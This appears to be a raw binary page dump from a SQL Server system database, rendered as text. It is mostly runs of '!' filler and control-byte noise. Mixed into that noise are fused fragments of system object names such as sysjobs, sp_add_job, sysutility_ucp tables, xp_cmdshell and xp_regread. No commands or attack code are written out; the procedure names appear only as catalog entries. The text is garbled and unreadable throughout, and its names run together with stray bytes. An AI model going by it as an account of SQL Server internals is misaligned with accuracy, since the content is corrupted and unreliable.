!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!t x$|(

,
04

8
		<	@DHLPTX\`VbDJ/hgh6DFLsysdac_instances_internaldbo67L7Bsysdbmaintplan_databases65DJsysdbmaintplan_databasesdbo6'7DJsysdbmaintplan_databasesdbo67L7DJsysdbmaintplan_databasesdbo6pp8DJsysdbmaintplan_databasesdbo6;DJsysdbmaintplan_databasesdbo65@Fsysdbmaintplan_historydbo6:8sysdbmaintplan_jobs6':@sysdbmaintplan_jobsdbo65:@sysdbmaintplan_jobsdbo6'7:@sysdbmaintplan_jobsdbo69:@sysdbmaintplan_jobsdbo6::@sysdbmaintplan_jobsdbo6;:@sysdbmaintplan_jobsdbo6'70sysdbmaintplans6528sysdbmaintplansdbo6628sysdbmaintplansdbo6'728sysdbmaintplansdbo67L728sysdbmaintplansdbo6928sysdbmaintplansdbo6;28sysdbmaintplansdbo6z
28sysdownloadlistdbo6&n28sysdownloadlistdbo6F28sysdownloadlistdbo6Oj28sysdownloadlistdbo6me
+28sysdownloadlistdbo6+28sysdownloadlistdbo6n328sysdownloadlistdbo6;P28sysdownloadlistdbo6WZb28sysdownloadlistdbo6Bd28sysdownloadlistdbo67e28sysdownloadlistdbo6Qr`06sysjobactivitydbo6=y06sysjobactivitydbo6N$.4sysjobhistorydbo6߭,.4sysjobhistorydbo6-.4sysjobhistorydbo6Q..4sysjobhistorydbo6;P.4sysjobhistorydbo6-~_.4sysjobhistorydbo6Qr`.4sysjobhistorydbo6=y.4sysjobhistorydbo6~.4sysjobhistorydbo6^? sysjobs6TȚH sysjobs6d sysjobs6AA sysjobs67, sysjobs6N$"(sysjobsdbo6k"(sysjobsdbo6")"(sysjobsdbo6/"(sysjobsdbo6>0"(sysjobsdbo69"(sysjobsdbo6L:"(sysjobsdbo66@;"(sysjobsdbo6^?"(sysjobsdbo6S@"(sysjobsdbo6.A"(sysjobsdbo6A"(sysjobsdbo6B"(sysjobsdbo6eE"(sysjobsdbo6I"(sysjobsdbo6J"(sysjobsdbo6q}_M"(sysjobsdbo6SN"(sysjobsdbo6GO"(sysjobsdbo6;P"(sysjobsdbo69U"(sysjobsdbo60X"(sysjobsdbo67\"(sysjobsdbo6X_"(sysjobsdbo6Qr`"(sysjobsdbo6Bd"(sysjobsdbo6;++f"(sysjobsdbo6&n*sysjobs_view6'*sysjobs_view6,2sysjobs_viewdbo6aw FLsysdac_instances_internaldbo6k!FLsysdac_instances_internaldbo6yI"(sysjobsdbo6f&bK"(sysjobsdbo6JVL"(sysjobsdbo6|"(sysjobsdbo63}"(sysjobsdbo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!^6nF


~
V
|.

f>vN&



R

			N		|Ff.Nn6^^`80`_b	Ovg_6sBR06logmarkhistorydbo6tOg2MSdistpublishers6Qr`4MSdistributiondbs6.	p6.p6U*0restorefiledbo6W~V*0restorefiledbo6U4:restorefilegroupdbo6W~V4:restorefilegroupdbo6U06restorehistorydbo6W~V06restorehistorydbo6Xj>Dsp_add_alert_internaldbo6tOg&sp_add_job6AA(.sp_add_jobdbo6BNd(.sp_add_jobdbo67,(.sp_add_jobdbo67\(.sp_add_jobdbo6tOg6sp_add_jobschedule6AA8>sp_add_jobscheduledbo67\8>sp_add_jobscheduledbo6rU2sp_add_jobserver6tOg2sp_add_jobserver6AA4:sp_add_jobserverdbo6BNd4:sp_add_jobserverdbo67,4:sp_add_jobserverdbo67\4:sp_add_jobserverdbo6tOg.sp_add_jobstep6AA	06sp_add_jobstepdbo6BNd06sp_add_jobstepdbo67,	06sp_add_jobstepdbo67\06sp_add_jobstepdbo6@BHsp_add_jobstep_internaldbo6+]TZsp_add_log_shipping_monitor_jobsdbo6TȚH28sp_add_scheduledbo6V@sp_apply_job_to_targets6BNd8>sp_attach_scheduledbo6@8>sp_attach_scheduledbo67,8>sp_attach_scheduledbo698>sp_attach_scheduledbo6TȚH8>sp_attach_scheduledbo6@Fsp_delete_all_msx_jobsdbo6!@Fsp_delete_all_msx_jobsdbo6;P@Fsp_delete_all_msx_jobsdbo69U,sp_delete_job6sh,sp_delete_job6lX.4sp_delete_jobdbo6..4sp_delete_jobdbo6^1.4sp_delete_jobdbo65.4sp_delete_jobdbo6cf?.4sp_delete_jobdbo6X_.4sp_delete_jobdbo6d.4sp_delete_jobdbo6N$DJsp_delete_job_referencesdbo6;P
DJsp_delete_job_referencesdbo6rU8sp_delete_jobserver6cf?:@sp_delete_jobserverdbo6p7D:sp_delete_jobsteplog6=`Z`sp_delete_log_shipping_monitor_jobsdbo68>sp_delete_operatordbo6Oj@Fsp_delete_targetserverdbo6@8>sp_detach_scheduledbo698>sp_detach_scheduledbo6cf?8>sp_detach_scheduledbo6&nFLsp_downloaded_row_limiterdbo65\bsp_enum_sqlagent_subsystems_internaldbo6!PVsp_generate_server_descriptiondbo62$RDsp_get_composite_job_info6{TFLsp_get_composite_job_infodbo6G28sp_delete_proxydbo6G,2sp_add_proxydbo6yI,sp_delete_job6yI(.sp_add_jobdbo6yI28sp_delete_proxydbo6yI4:sp_add_jobserverdbo6yI06sp_add_jobstepdbo6yI	,2sp_add_proxydbo6f&bK,sp_delete_job6f&bK(.sp_add_jobdbo6f&bK4:sp_add_jobserverdbo6f&bK06sp_add_jobstepdbo6JVL,sp_delete_job6JVL(.sp_add_jobdbo6JVL4:sp_add_jobserverdbo6JVL06sp_add_jobstepdbo6|28sp_add_categorydbo6|(.sp_add_jobdbo6|	6<sp_delete_jobstepdbo6|
4:sp_add_jobserverdbo6|8>sp_attach_scheduledbo6|28sp_add_scheduledbo6|06sp_add_jobstepdbo6 ".4sp_delete_jobdbo6 "8>sp_delete_scheduledbo6D#	.4sp_delete_jobdbo6D#<Dsource_info_internalcore!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!XT

T

|<p<

l
8

		PRf	 	^ d4,T lTJj8RX|~*dH.T$`"pHbO]}6Q\bsysutility_mi_configuration_internaldbo6EYflsysutility_mi_session_statistics_internaldbo6$'LRsysutility_ucp_configurationdbo60&^dsysutility_ucp_configuration_internaldbo6)(^dsysutility_ucp_configuration_internaldbo6EYrxsysutility_mi_dac_execution_statistics_internaldbo6iZrxsysutility_mi_dac_execution_statistics_internaldbo6;dt\bsysutility_mi_volumes_stage_internaldbo6;dtTZsysutility_mi_smo_stage_internaldbo6;dtrxsysutility_mi_dac_execution_statistics_internaldbo6;dtTZsysutility_mi_cpu_stage_internaldbo6nV^dsysutility_ucp_configuration_internaldbo6nV^dsysutility_ucp_configuration_internaldbo6z^dsysutility_ucp_configuration_internaldbo6O$^dsysutility_ucp_configuration_internaldbo6U3DJsysutility_ucp_datafilesdbo6I4NTsysutility_ucp_database_filesdbo6=5LRsysutility_ucp_deployed_dacsdbo6=5NTsysutility_ucp_database_filesdbo6#&7LRsysutility_ucp_deployed_dacsdbo6l9DJsysutility_ucp_computersdbo6::LRsysutility_ucp_deployed_dacsdbo6!=DJsysutility_ucp_computersdbo6WE>LRsysutility_ucp_deployed_dacsdbo6i?TZsysutility_ucp_computer_policiesdbo6i?LRsysutility_ucp_deployed_dacsdbo6i?JPsysutility_ucp_dac_policiesdbo6ɍ@TZsysutility_ucp_computer_policiesdbo6_oZjpsysutility_ucp_computer_cpu_health_internaldbo6?^ntsysutility_ucp_dac_file_space_health_internaldbo6antsysutility_ucp_aggregated_dac_health_internaldbo6%lrsysutility_ucp_aggregated_mi_health_internaldbo6IX^sysutility_ucp_dac_health_internaldbo6Tsysutility_ucp_filegroups_with_policy_violations_internal6TNTsysutility_ucp_database_filesdbo6Hntsysutility_ucp_dac_file_space_health_internaldbo6HLRsysutility_ucp_deployed_dacsdbo6HFLsysutility_ucp_filegroupsdbo6HDJsysutility_ucp_databasesdbo6HJPsysutility_ucp_dac_policiesdbo6)#=FLsysutility_ucp_filegroupsdbo6)#=DJsysutility_ucp_databasesdbo6bG1TZsysutility_ucp_computer_policiesdbo6bG1TZsysutility_ucp_computer_policiesdbo6bG1DJsysutility_ucp_computersdbo6bG1jpsysutility_ucp_computer_cpu_health_internaldbo6k%ntsysutility_ucp_dac_file_space_health_internaldbo6k%LRsysutility_ucp_deployed_dacsdbo6k%PVsysutility_ucp_dac_policy_typedbo6k%jpsysutility_ucp_computer_cpu_health_internaldbo6k%Bsysutility_ucp_datafiles6k%
X^sysutility_ucp_dac_health_internaldbo6k%JPsysutility_ucp_dac_policiesdbo6ԏntsysutility_ucp_aggregated_dac_health_internaldbo6ԏX^sysutility_ucp_dac_health_internaldbo6

 	jpsysutility_ucp_computer_cpu_health_internaldbo6

 
DJsysutility_ucp_datafilesdbo6F!lrsysutility_ucp_aggregated_mi_health_internaldbo6!ntsysutility_ucp_aggregated_dac_health_internaldbo6!ntsysutility_ucp_dac_file_space_health_internaldbo6!jpsysutility_ucp_computer_cpu_health_internaldbo6!
X^sysutility_ucp_dac_health_internaldbo6!lrsysutility_ucp_aggregated_mi_health_internaldbo6D#ntsysutility_ucp_aggregated_dac_health_internaldbo6D#ntsysutility_ucp_dac_file_space_health_internaldbo6D#^dsysutility_ucp_configuration_internaldbo6D#jpsysutility_ucp_computer_cpu_health_internaldbo6D#X^sysutility_ucp_dac_health_internaldbo6D#lrsysutility_ucp_aggregated_mi_health_internaldbo6*i$ntsysutility_ucp_aggregated_dac_health_internaldbo6*i$X^sysutility_ucp_dac_health_internaldbo6*i$	lrsysutility_ucp_aggregated_mi_health_internaldboo6HLRsysutility_ucp_deployed_dacsdbo6HFLsysutility_ucp_filegroupsdbo6Hsysutility_ucp_filegroups_with_policy_violations_internaldbo6HDJsysutility_ucp_databasesdbo6HJPsysutility_ucp_dac_policiesdbo6)#=TZsysutility_ucp_instance_policiesdbo6)#=FLsysutility_ucp_filegroupsdbo6)#=sysutility_ucp_filegroups_with_policy_violations_internaldbo6)#=lrsysutility_ucp_mi_file_space_health_internaldbo6)#=DJsysutility_ucp_databasesdboed_F
l&p
\	~&@~	6
VrF&
	VD
@*z
*.p 
$	z
xF*Z2X^8Hl`qOb$>OQ66U-djsysutility_ucp_processing_state_internaldbo6V16@Fsysutility_ucp_volumesdbo6#Ft valuec62valueProperties60b{2valueProperties6~2valueProperties6*0xp_cmdshelldbo6Nc*0xp_cmdshelldbo6m..4xp_get_scriptdbo6&n
.4xp_getnetnamedbo6.4xp_getnetnamedbo6b1.4xp_getnetnamedbo6;P.4xp_getnetnamedbo6QDJxp_instance_regdeletekeydbo6
HNxp_instance_regdeletevaluedbo6HNxp_instance_regdeletevaluedbo6QHNxp_instance_regdeletevaluedbo6iHNxp_instance_regdeletevaluedbo6z
:@xp_instance_regreaddbo6>:@xp_instance_regreaddbo62:@xp_instance_regreaddbo6k:@xp_instance_regreaddbo6:@xp_instance_regreaddbo6!:@xp_instance_regreaddbo6Oj:@xp_instance_regreaddbo6:@xp_instance_regreaddbo6:@xp_instance_regreaddbo6ϓ4:@xp_instance_regreaddbo6G:@xp_instance_regreaddbo6JVL:@xp_instance_regreaddbo6;P:@xp_instance_regreaddbo6Q:@xp_instance_regreaddbo6]:@xp_instance_regreaddbo6-~_:@xp_instance_regreaddbo6i:@xp_instance_regreaddbo6uo:@xp_instance_regreaddbo60s:@xp_instance_regreaddbo6z
<Bxp_instance_regwritedbo6nV<Bxp_instance_regwritedbo6<Bxp_instance_regwritedbo6<Bxp_instance_regwritedbo6!<Bxp_instance_regwritedbo6<Bxp_instance_regwritedbo6&P<Bxp_instance_regwritedbo6-~_<Bxp_instance_regwritedbo6i<Bxp_instance_regwritedbo6uo<Bxp_instance_regwritedbo6;,2xp_logininfodbo6,2xp_logininfodbo6l$*xp_msverdbo60s$*xp_msverdbo6.4xp_msx_enlistdbo6!	.4xp_msx_enlistdbo67$xp_qvdbo6$xp_qvdbo6l~$xp_qvdbo6&n(.xp_regreaddbo6!(.xp_regreaddbo6(.xp_regreaddbo6Nc(.xp_regreaddbo60s(.xp_regreaddbo6*0xp_regwritedbo65>Dxp_sqlagent_enum_jobsdbo6U0Q>Dxp_sqlagent_enum_jobsdbo6q	BHxp_sqlagent_is_startingdbo6iM8>xp_sqlagent_notifydbo6;P
8>xp_sqlagent_notifydbo6#&7@Fsysutility_ucp_volumesdbo6_oZdjsysutility_ucp_processing_state_internaldbo6c[djsysutility_ucp_processing_state_internaldbo6>W\djsysutility_ucp_processing_state_internaldbo6wK]djsysutility_ucp_processing_state_internaldbo6?^djsysutility_ucp_processing_state_internaldbo6bG1@Fsysutility_ucp_volumesdbo6D#:@xp_instance_regreaddbo6D#DJxp_instance_regdeletekeydbo6D#HNxp_instance_regdeletevaluedbo6D#jpsysutility_ucp_snapshot_partitions_internaldbo6D#Djutility_objects_internalsysutility_ucp_misc!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!